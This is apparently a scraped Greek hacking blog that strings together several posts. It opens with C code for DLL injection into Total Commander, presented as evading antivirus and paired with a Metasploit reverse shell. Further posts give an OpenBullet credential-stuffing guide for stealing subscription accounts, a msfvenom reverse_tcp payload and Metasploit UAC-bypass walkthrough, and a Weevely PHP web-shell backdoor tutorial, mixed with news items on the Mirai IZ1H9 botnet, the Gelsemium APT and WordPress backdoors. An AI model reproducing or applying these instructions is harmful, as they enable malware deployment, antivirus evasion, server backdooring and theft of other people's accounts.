(LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, “NtCreateThreadEx”);

if( !funNtCreateThreadEx )
{
return 0;
}

NtCreateThreadExBuffer ntbuffer;
memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer));
DWORD temp1 = 0;
DWORD temp2 = 0;
ntbuffer.Size = sizeof(NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = 0;//&temp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp1;
ntbuffer.Unknown8 = 0;

HANDLE hThread;
NTSTATUS status = funNtCreateThreadEx(
&hThread,
0x1FFFFF,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, “LoadLibraryA”),
lpvMem,
FALSE, //start instantly
NULL,
NULL,
NULL,
&ntbuffer
);

if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
return (1);
}
else{
return (0);
}

}

int ActivateSeDebugPrivilege(void){
HANDLE hToken;
LUID Val;
TOKEN_PRIVILEGES tp;

if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(GetLastError());

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
return(GetLastError());

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = Val;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
return(GetLastError());

CloseHandle(hToken);

return 1;
}

int main(int argc, char *argv[])
{
DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
LPCWSTR lpVictimProcess = TEXT(“totalcmd.exe”);
char *cpVictimProcess = “totalcmd.exe”;

printf(“DLL Injection.\n”);
if ( ActivateSeDebugPrivilege() == 1)
printf(“Get All Privilege.\n”);
else
printf(“Cannot Get All Privilege.\n”);

printf(“Waiting for process %s…”,cpVictimProcess);

HANDLE hProcess;
do{
hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID);
Sleep(1);
}while(hProcess == NULL);
printf(“\nFound! Try to inject…”);

if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID ))
{
printf(“\nFailed to get the current session with error %d”, GetLastError());
}
if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID ))
{
printf(“\nFailed to get the remote session with error %d”, GetLastError());
}

if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
printf(“\nSUCCESSFUL!\n”);
else
printf(“\nFailed!\n”);

return 0;
}

---

Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η:
DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎

Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».

Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.

Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από
if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!

Χειροκίνητη Επίθεση

Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:

Επίθεση με την χρήση του Metasploit Armitage

Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:

και αμέσως μετά… Αυτό:

Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…

Και μερικά VIDEOs της επίθεσης

[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος

 

[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Η παραλλαγή του Mirai DDoS αυξάνει τους στόχους με 13 exploits για δρομολογητές

Ένα botnet κακόβουλου λογισμικού DDoS (distributed denial of service) που βασίζεται στο Mirai και παρακολουθείται ως IZ1H9 έχει προσθέσει δεκατρία νέα ωφέλιμα φορτία για να στοχεύσει δρομολογητές και δρομολογητές που βασίζονται σε Linux από τις εταιρείες D-Link, Zyxel, TP-Link, TOTOLINK και άλλες.

Οι ερευνητές της Fortinet αναφέρουν ότι παρατήρησαν μια κορύφωση στα ποσοστά εκμετάλλευσης γύρω στην πρώτη εβδομάδα του Σεπτεμβρίου, φτάνοντας τις δεκάδες χιλιάδες απόπειρες εκμετάλλευσης εναντίον ευάλωτων συσκευών.

Το IZ1H9 θέτει σε κίνδυνο συσκευές για να τις επιστρατεύσει στο σμήνος DDoS και στη συνέχεια εξαπολύει επιθέσεις DDoS σε συγκεκριμένους στόχους, προφανώς σε πελάτες που νοικιάζουν τη δύναμη πυρός του.

Στόχος IoT συσκευών

Όσο περισσότερες συσκευές και τρωτά σημεία στοχοποιούνται από ένα κακόβουλο λογισμικό DDoS, τόσο αυξάνεται η δυνατότητα δημιουργίας ενός μεγάλου και ισχυρού botnet, ικανού να επιφέρει μαζικά πλήγματα σε ιστότοπους.

Στην περίπτωση του IZ1H9, η Fortinet αναφέρει ότι χρησιμοποιεί exploits για τα ακόλουθα ελαττώματα, που χρονολογούνται από το 2015 έως το 2023:

• D-Link devices: CVE-2015-1187, CVE-2016-20017, CVE-2020-25506, CVE-2021-45382
• Netis WF2419: CVE-2019-19356
• Sunhillo SureLine (versions before 8.7.0.1.1): CVE-2021-36380
• Geutebruck products: CVE-2021-33544, CVE-2021-33548, CVE-2021-33549, CVE-2021-33550, CVE-2021-33551, CVE-2021-33552, CVE-2021-33553, CVE-2021-33554
• Yealink Device Management (DM) 3.6.0.20: CVE-2021-27561, CVE-2021-27562
• Zyxel EMG3525/VMG1312 (before V5.50): CVE not specified but targets the Zyxel device’s /bin/zhttpd/ component vulnerability
• TP-Link Archer AX21 (AX1800): CVE-2023-1389
• Korenix JetWave wireless AP: CVE-2023-23295
• TOTOLINK routers: CVE-2022-40475, CVE-2022-25080, CVE-2022-25079, CVE-2022-25081, CVE-2022-25082, CVE-2022-25078, CVE-2022-25084, CVE-2022-25077, CVE-2022-25076, CVE-2022-38511, CVE-2022-25075, CVE-2022-25083

Η εκστρατεία στοχεύει επίσης σε ένα απροσδιόριστο CVE που σχετίζεται με τη διαδρομή “/cgi-bin/login.cgi”, επηρεάζοντας δυνητικά τον δρομολογητή Prolink PRC2402M.

Αλυσιδωτή επίθεση

Μετά την εκμετάλλευση ενός από τα προαναφερθέντα CVEs, ένα payload IZ1H9 εισάγεται στη συσκευή που περιέχει μια εντολή για την ανάκτηση ενός προγράμματος λήψης σεναρίων shellμε όνομα “l.sh” από μια καθορισμένη διεύθυνση URL.

Κατά την εκτέλεση, το σενάριο διαγράφει τα αρχεία καταγραφής για να αποκρύψει την κακόβουλη δραστηριότητα και, στη συνέχεια, φέρνει πελάτες bot προσαρμοσμένους για διαφορετικές αρχιτεκτονικές συστημάτων.

Τέλος, το σενάριο τροποποιεί τους κανόνες iptables της συσκευής ώστε να εμποδίζει τη σύνδεση σε συγκεκριμένες θύρες και να δυσχεραίνει την αφαίρεση του κακόβουλου λογισμικού από τη συσκευή.

Έχοντας κάνει όλα τα παραπάνω, το bot εγκαθιστά επικοινωνία με τον διακομιστή C2 (command and control) και περιμένει την εκτέλεση εντολών.

Οι υποστηριζόμενες εντολές αφορούν τον τύπο της επίθεσης DDoS που θα εξαπολύσει, συμπεριλαμβανομένων των UDP, UDP Plain, HTTP Flood και TCP SYN.

Η Fortinet αναφέρει επίσης ότι το IZ1H9 διαθέτει ένα τμήμα δεδομένων με σκληρά κωδικοποιημένα διαπιστευτήρια που χρησιμοποιούνται για επιθέσεις brute-force.

Αυτές οι επιθέσεις μπορεί να είναι χρήσιμες για τη διάδοση σε παρακείμενες συσκευές ή για τον έλεγχο ταυτότητας σε συσκευές IoT για τις οποίες δεν υπάρχει λειτουργικό exploit.

Συνιστάται στους κατόχους συσκευών IoT να χρησιμοποιούν ισχυρά διαπιστευτήρια χρήστη διαχειριστή, να τις ενημερώνουν στην τελευταία διαθέσιμη έκδοση υλικολογισμικού και, αν είναι δυνατόν, να μειώνουν την έκθεσή τους στο δημόσιο διαδίκτυο.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Πως να βρούμε λογαριασμούς με το OpenBullet

Το OpenBullet ειναι ενα προγραμα, οπου μας βοηθεια να βρουμε λογαριασμους, για υπηρεσιες με συνδρομη που παρεχου βιντεο, τραγουδια και ουτω καθεξης.

θα χρειαστουμε  1 config 1 λιστα combolist  με email password και μια λιστα με proxies

Αρχικα αφου ανοιξουμε το OpenBullet παταμε πανω αριστερα +New, οπου θα εμφανιστει  ενα τετραγωνο κουτι.

Μετα παταμε πανω στο κουτι,  παμε κατω αριστερα και παταμε Select CFG,  εμφανίζεται ενα δευτερο παραθυρο, οπου και διαλεγουμε το config μας  με διπλο κλικ και  το φορτωνουμε.

Next step ειναι να βαλουμε την λιστα/combo list, ακριβως κατω  δεξια λεει Select list παταμε πανω του και μετα στο στο φακελακι κατω δεξια και βρισκουμε  την combo list μας.

τελος μενει να  βαλουμε τα proxies οπου θα κανουν και ολη την δουλεια, παμε πανω αριστερα εκει που λεει proxies, δεξια τωρα import  και  παλι στο φακελακι και βρισκουμε  τα proxies.

Αφου ολα πηγαν μια χαρα, ημαστε ετοιμη να ξεκινήσουμε,  παταμε εκει που λεει Runner αριστερα απο εκει που λεει proxies, και παταμε start ωστε να βρουμε λογαριασμους.

Στο πανελ δεξια θα εμφανιστούν η λογαριασμοι  οπου μας δουλευουν, και κατω δεξια ποσα δοκιμαστηκαν.

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Η ομάδα hackers Evasive Gelsemium εντοπίστηκε σε επίθεση κατά της ασιατικής κυβέρνησης

Μια προηγμένη απειλή (APT) που εντοπίστηκε ως Gelsemium παρατηρήθηκε σε επιθέσεις με στόχο μια κυβέρνηση της Νοτιοανατολικής Ασίας που διήρκεσαν έξι μήνες μεταξύ 2022 και 2023.

Η Gelsemium είναι μια ομάδα κυβερνοκατασκοπείας που λειτουργεί από το 2014 και στοχεύει κυβερνήσεις, εκπαιδευτικούς φορείς και κατασκευαστές ηλεκτρονικών ειδών στην Ανατολική Ασία και τη Μέση Ανατολή.

Η έκθεση της ESET από το 2021 χαρακτηρίζει την ομάδα απειλών ως “αθόρυβη”, υπογραμμίζοντας την τεράστια τεχνική ικανότητα και τις γνώσεις προγραμματισμού που τη βοήθησαν να πετάξει κάτω από το ραντάρ για πολλά χρόνια.

Μια νέα έκθεση της Μονάδας 42 της Palo Alto Network αποκαλύπτει πώς μια νέα εκστρατεία της Gelsemium χρησιμοποιεί σπάνια παρατηρούμενα backdoors που συνδέονται με τους φορείς απειλής με μέτρια εμπιστοσύνη.

Πρόσφατες επιθέσεις της Gelsemium

Η αρχική παραβίαση των στόχων της Gelsemium επιτεύχθηκε μέσω της εγκατάστασης κελυφών ιστού, πιθανότατα μετά την εκμετάλλευση ευπαθειών σε διακομιστές που έχουν πρόσβαση στο διαδίκτυο.

Η Μονάδα 42 αναφέρει ότι είδε τα κελύφη ιστού “reGeorg”, “China Chopper” και “AspxSpy”, τα οποία είναι δημόσια διαθέσιμα και χρησιμοποιούνται από πολλές ομάδες απειλών, καθιστώντας την απόδοση δύσκολη.

Χρησιμοποιώντας αυτά τα κελύφη ιστού, το Gelsemium πραγματοποίησε βασική αναγνώριση δικτύου, μετακινήθηκε πλευρικά μέσω SMB και ανέκτησε πρόσθετα ωφέλιμα φορτία.

Αυτά τα πρόσθετα εργαλεία που βοηθούν στην πλευρική μετακίνηση, τη συλλογή δεδομένων και την κλιμάκωση προνομίων περιλαμβάνουν τα OwlProxy, SessionManager, Cobalt Strike, SpoolFool και EarthWorm.

Το Cobalt Strike είναι μια ευρέως χρησιμοποιούμενη σουίτα δοκιμών διείσδυσης, το EarthWorm είναι ένας δημόσια διαθέσιμος tunneler SOCKS και το SpoolFool είναι ένα τοπικό εργαλείο κλιμάκωσης προνομίων ανοικτού κώδικα, οπότε αυτά τα τρία δεν αφορούν ειδικά το Gelsemium.

Ωστόσο, το OwlProxy είναι ένα μοναδικό, προσαρμοσμένο εργαλείο HTTP proxy και backdoor της Μονάδας 42 αναφέρει ότι το Gelsemium το χρησιμοποίησε σε μια παλαιότερη επίθεση με στόχο την κυβέρνηση της Ταϊβάν.

Στην τελευταία εκστρατεία, ο δράστης της απειλής ανέπτυξε ένα εκτελέσιμο πρόγραμμα που αποθήκευσε ένα ενσωματωμένο DLL (wmipd.dll) στο δίσκο του παραβιασμένου συστήματος και δημιούργησε μια υπηρεσία που το εκτελεί.

Το DLL είναι μια παραλλαγή του OwlProxy, το οποίο δημιουργεί μια υπηρεσία HTTP που παρακολουθεί τις εισερχόμενες αιτήσεις για συγκεκριμένα μοτίβα URL που κρύβουν εντολές.

Οι ερευνητές λένε ότι τα προϊόντα ασφαλείας στο σύστημα-στόχο εμπόδισαν την εκτέλεση του OwlProxy, οπότε οι επιτιθέμενοι επέστρεψαν στη χρήση του EarthWorm.

Το δεύτερο προσαρμοσμένο εμφύτευμα που σχετίζεται με το Gelsemium είναι το SessionManager, μια κερκόπορτα IIS που η Kaspersky συνέδεσε με την ομάδα απειλών το περασμένο καλοκαίρι.

Το δείγμα της πρόσφατης επίθεσης παρακολουθούσε τις εισερχόμενες αιτήσεις HTTP, αναζητώντας ένα συγκεκριμένο πεδίο Cookie που μεταφέρει εντολές για εκτέλεση στον υπολογιστή.

Οι εντολές αυτές αφορούν τη μεταφόρτωση αρχείων στον ή από τον διακομιστή C2, την εκτέλεση εντολών, την εκκίνηση εφαρμογών ή τη διαμεσολάβηση για συνδέσεις σε πρόσθετα συστήματα.

Η λειτουργία μεσολάβησης στο πλαίσιο των OwlProxy και SessionManager δείχνει την πρόθεση των φορέων απειλής να χρησιμοποιήσουν τον παραβιασμένο διακομιστή ως πύλη για την επικοινωνία με άλλα συστήματα στο δίκτυο-στόχο.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

WordPress 6.4.2: Επιδιόρθωση κενού ασφαλείας

Η WordPress κυκλοφόρησε αυτήν την εβδομάδα μια ενημέρωση ασφαλείας προκειμένου να διορθώσει μια ευπάθεια εκτέλεσης κώδικα απομακρυσμένου (RCE).

Χρησιμοποιώντας σε συνδυασμό με ένα άλλο ελάττωμα, οι χάκερ θα μπορούσαν να εκτελέσουν αυθαίρετο κώδικα PHP σε έναν ιστότοπο του WordPress και καθώς σχεδόν το μισό διαδίκτυο θεωρείται ότι τρέχει σε WordPress, η επιφάνεια επίθεσης είναι αρκετά ευρεία.

Στην ανακοίνωσή της, η WordPress σημειώνει ότι το σφάλμα RCE δεν είναι απευθείας εκτελέσιμο στον πυρήνα, αλλά που, σε συνδυασμό με ορισμένα πρόσθετα, ενδέχεται να συνιστά υψηλό κίνδυνο.

Το σφάλμα RCE επιδιορθώθηκε στην έκδοση WordPress 6.4.2. Συνιστάται στους ιδιοκτήτες και τους διαχειριστές ιστότοπων να ενημερώσουν στην επιδιορθωμένη έκδοση του CMS το συντομότερο δυνατό.

“Ενώ οι περισσότεροι ιστότοποι θα πρέπει να ενημερωθούν αυτόματα στο WordPress 6.4.2, συνιστούμε ιδιαίτερα τον χειροκίνητο έλεγχο του ιστότοπό σας για να εξασφαλίσετε ότι έχει γίνει η ενημέρωση”, σημειώνει η Wordfence.

Related posts:

Θύμα επίθεσης το papaki.gr, δημοφιλής υπηρεσία καταχώρησης domains στη χώρα μας Η Μεγαλύτερη Συνεργασία Χάκερ στην Ιστορία: Μαζική Κυβερνοεπίθεση κατά Βαλτικής & Πολωνίας Τα πάντα σχετικά με το RFID και τις νέες ταυτότητες Αλήθειες και μύθοι σχετικά με το hacking

Bypass UAC Privilege Escalation [Metasploit]

Αρχικά ας δούμε τι είναι το UAC

Το UAC (User Account Control) είναι o έλεγχος λογαριασμού χρήστη είναι ένα προειδοποιητικό μήνυμα που μας ενημερώνει και ζητάει την επιβεβαίωση μας κάθε φορά που θέλουμε να τρέξουμε ένα αρχείο που απαιτεί δικαιώματα διαχειριστή. Μια φωτογραφία..

Ωραία αφού μάθαμε τι είναι το UAC πάμε να ξεκινήσουμε.. αρχικά θα δείξω έναν πολύ απλό τρόπο για να πάρουμε meterpreter session (access) στο θύμα μας.

Ανοίξτε το terminal και > msfvenom -p windows/meterpreter/reverse_tcp LHOST=[TOPIKH IP MAS (IFCONFIG)] LPORT=[RANDOM PORT PX 4040] -f exe > ~/Desktop/root.exe

Αυτό για windows μηχανήματα.. μπορείτε να το ανεβάσετε στον apache για να το κατεβάσει το θύμα σας.

Ανοίγουμε το metasploit (service postgresql start + msfconsole) μπορείτε να το κάνετε και με το armitage που παρέχει γραφικό περιβάλλον.

Θα χρησιμοποιήσουμε το κλασικό multi/handler οπότε use exploit multi/handler και πατάμε enter.

Βάζουμε τα settings [show options] το payload το lhost + lport τα οποία τα βάλαμε στην δημιουργία το κακόβουλου αρχείου (με το msfvenom).

Και πατάμε exploit.. αφού τρέξει το θύμα μας το αρχείο βλέπουμε ότι έχουμε πρόσβαση μπορούμε να κάνουμε migrate σε κάποιο άλλο process.

Αν πατήσουμε getsystem θα μας έχει error.. οπότε πάμε. Πατάμε background.. το session μας .

Τώρα θα τρέξουμε το exploit use exploit/windows/local/bypassuac_injection για να κάνουμε bypass.. βάζουμε σαν setting το session [set SESSION 1] και πατάμε exploit.

Μας άνοιξε νέο session [sessions] και πατάμε getsystem και βλέπουμε.. got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Πως θα βάλετε backdoor σε μια ιστοσελίδα με τη χρήση του Weevely

Συχνά, θα έχετε τη δυνατότητα να ανεβάσετε ένα αρχείο σε ιστότοπο, όπως ένα αρχείο Word, ένα PDF ή μια εικόνα όπως ένα αρχείο .jpg ή .png.

Πιθανόν έχετε ανεβάσει εικόνες σε κοινωνικά δίκτυα όπως το Facebook ή το Twitter και ίσως έχετε ανεβάσει έγγραφα DOC ή PDF στον ιστότοπο της εταιρείας ή του σχολείου σας. Αυτές οι μεταφορτώσεις μπορεί να αποτελέσουν μια κρίσιμη αδυναμία σε αυτούς τους ιστότοπους, εάν μπορείτε να μεταφορτώσετε κακόβουλο λογισμικό που θα εκτελεστεί στον ιστότοπο και θα σας παράσχει μια πίσω πόρτα στον ιστότοπο και στον υποκείμενο διακομιστή.

Weevely είναι σχεδιασμένο για να σας παρέχει ένα PHP web shell που μπορεί να αναρτηθεί σε έναν ιστότοπο και να εκτελεστεί, παρέχοντάς σας μια πίσω πόρτα. Φυσικά, λειτουργεί μόνο με ιστότοπους που χρησιμοποιούν PHP, αλλά υπάρχει ένας πολύ μεγάλος αριθμός ιστότοπων που χρησιμοποιούν PHP.

Το Weevely είναι ενσωματωμένο στη διανομή Kali, αλλά αν χρησιμοποιείτε άλλο λειτουργικό σύστημα, μπορείτε να το αποκτήσετε από το GitHub χρησιμοποιώντας την εντολή git clone, όπως παρακάτω:

kali > git clone https://github.com/eppina/weevely3

Εάν θέλετε να χρησιμοποιήσετε το Weevely στο Kali, θα ανοίξετε ένα τερματικό και θα πληκτρολογήσετε την εντολή “weevely”.

Όπως μπορείτε να δείτε, το Weevely εμφανίζει ένα σφάλμα, αλλά παρέχει βασικές πληροφορίες για το Weevely. Για να λάβετε ακόμη περισσότερες πληροφορίες, εκτελέστε το Weevely με την επιλογή –help.

weevely --help

Με αυτήν την εντολή, θα λάβετε περισσότερες λεπτομέρειες σχετικά με τις διαθέσιμες επιλογές και τη χρήση του Weevely. Αυτό είναι χρήσιμο για να κατανοήσετε πώς να προσαρμόσετε τη χρήση του εργαλείου σύμφωνα με τις ανάγκες σας.

Όπως μπορείτε να δείτε από την οθόνη βοήθειας (help screen), το Weevely λειτουργεί σε τρεις καταστάσεις:

• terminal
• session
• generate

Βήμα #2: Δημιουργία Backdoor

Στη συνέχεια, θα δημιουργήσουμε μια πίσω πόρτα (backdoor) με το Weevely. Για να το κάνουμε αυτό, θα χρησιμοποιήσουμε την ακόλουθη σύνταξη:
weevely generate <password> <output.php>

Στην εντολή αυτή, αντικαταστήστε το <password> με τον κωδικό πρόσβασης που θέλετε να χρησιμοποιήσετε για την πίσω πόρτα και το <output.php> με το όνομα αρχείου που θα δημιουργηθεί για την πίσω πόρτα (π.χ., backdoor.php).

Παράδειγμα:
weevely generate mysecretpassword backdoor.php

Μετά την εκτέλεση αυτής της εντολής, θα δημιουργηθεί ένα αρχείο backdoor.php που θα λειτουργεί ως πίσω πόρτα με τον καθορισμένο κωδικό πρόσβασης. Αυτό το αρχείο μπορείτε στη συνέχεια να ανεβάσετε σε έναν ιστότοπο για να χρησιμοποιήσετε την πίσω πόρτα που δημιουργήσατε.

Βήμα #3: Δοκιμή του backdoor μέσα απο το Damn Vulnerable Web Application (DVWA)

Για να δοκιμάσουμε το backdoor που δημιουργήσαμε, θα το κάνουμε μέσα απο το DVWA. Το DVWA είναι ενσωματωμένο στο Metasploitable, αλλά μπορείτε να το εγκαταστήσετε σχεδόν σε οποιοδήποτε λειτουργικό σύστημα.

Ανοίξτε έναν περιηγητή και μεταβείτε στο DVWA. Αν χρησιμοποιείτε το Metasploitable, πλοηγηθείτε στη διεύθυνση IP του συστήματός σας και επιλέξτε το DVWA. Όταν το κάνετε, θα εμφανιστεί ένα παράθυρο σύνδεσης όπως το παρακάτω.

Τα στοιχεία πρόσβασης για το DVWA είναι “admin” και “password”.

Στη συνέχεια, κάντε κλικ στην καρτέλα “Upload” στο αριστερό μέρος της οθόνης.

Θα σας κάνει ανακατεύθυνση σε μια σελίδα στην οποία μπορούμε να ανεβάσουμε το αρχείο μας.
Κάντε κλικ στο κουμπί “Browse” και επιλέξτε το backdoor που δημιουργήσαμε παραπάνω με το Weevely.

Και πατήστε στο upload

Όταν το κάνετε, θα εμφανίσει τη διαδρομή όπου έχει ανέβει το backdoor σας. Φυσικά, στον πραγματικό κόσμο, η εφαρμογή δεν θα σας πει πού έχει ανέβει το αρχείο. Θα πρέπει να κατανοήσετε την αρχιτεκτονική της ιστοσελίδας για να ξέρετε πού ανεβαίνουν τα αρχεία, αλλά το DVWA το καθιστά ευκολότερο για τον αρχάριο χάκερ.

Βήμα #4: Εκτέλεση του backdoor μας

Τώρα που έχουμε το αρχείο μας, χρειαζόμαστε να το εκτελέσουμε.
Αυτό το κάνουμε πληκτρολογώντας την εντολή weevely, στη συνέχεια την ακριβή διεύθυνση URL του backdoor, και τέλος τον κωδικό πρόσβασης. Στην περίπτωσή μας εδώ, θα ήταν:

kali > weevely http://192.168.1.109/dvwa/hackable/uploads/backdoor.php password

Βήμα #5: Χρήση του Weevely

Ας ξεκινήσουμε εισάγοντας την εντολή “help” για να δούμε τι μπορεί να κάνει το Weevely. Σημειώστε ότι οι εντολές του Weevely ξεκινούν πάντα με άνω τελεία (:).

:help

Ας πάρουμε μερικές πληροφορίες για τον server με την εντολή
system_info

Αυτό ειναι μια γεύση απο την χρήση του Weevely.. μπορείτε να κάνετε πολλά περισσότερα…!!|

Related posts:

Ιδεολογία Hacking Διαφορές Hacker με Cracker Γιατί η αγορά ενός crypter μπορεί να αποβεί άχρηστη ? Δωρεάν Verification χωρίς πραγματικό αριθμό τηλεφώνου.

Νέο backdoor του WordPress δημιουργεί λογαριασμό διαχειριστή για να κλέψει ιστότοπους

Ένα νέο κακόβουλο λογισμικό παριστάνει το νόμιμο πρόσθετο προσωρινής αποθήκευσης για να στοχεύσει ιστότοπους WordPress, επιτρέποντας στους φορείς απειλών να δημιουργήσουν έναν λογαριασμό διαχειριστή και να ελέγχουν τη δραστηριότητα του ιστότοπου.

Το κακόβουλο λογισμικό είναι μια κερκόπορτα με διάφορες λειτουργίες που του επιτρέπουν να διαχειρίζεται τα πρόσθετα και να κρύβεται από τα ενεργά στις παραβιασμένες ιστοσελίδες, να αντικαθιστά περιεχόμενο ή να ανακατευθύνει ορισμένους χρήστες σε κακόβουλες τοποθεσίες.

Λεπτομέρειες ψεύτικου πρόσθετου

Οι αναλυτές της Defiant, των κατασκευαστών του πρόσθετου ασφαλείας Wordfence για το WordPress, ανακάλυψαν το νέο κακόβουλο λογισμικό τον Ιούλιο κατά τον καθαρισμό ενός ιστότοπου.

Ρίχνοντας μια πιο προσεκτική ματιά στο backdoor, οι ερευνητές παρατήρησαν ότι ερχόταν “με ένα επαγγελματικής εμφάνισης εναρκτήριο σχόλιο” για να μεταμφιεστεί ως εργαλείο caching, το οποίο συνήθως βοηθά στη μείωση της καταπόνησης του διακομιστή και στη βελτίωση των χρόνων φόρτωσης της σελίδας.

Η απόφαση να μιμηθεί ένα τέτοιο εργαλείο φαίνεται σκόπιμη, διασφαλίζοντας ότι θα περάσει απαρατήρητο κατά τη διάρκεια χειροκίνητων ελέγχων. Επίσης, το κακόβουλο πρόσθετο έχει ρυθμιστεί να αποκλείει τον εαυτό του από τη λίστα των “ενεργών πρόσθετων” ως μέσο για να αποφύγει τον έλεγχο.

Το κακόβουλο λογισμικό διαθέτει τις ακόλουθες δυνατότητες:

• User creation – Μια συνάρτηση δημιουργεί έναν χρήστη με όνομα ‘superadmin’ με σκληρά κωδικοποιημένο κωδικό πρόσβασης και δικαιώματα επιπέδου διαχειριστή, ενώ μια δεύτερη συνάρτηση μπορεί να αφαιρέσει αυτόν τον χρήστη για να σβήσει τα ίχνη της μόλυνσης.

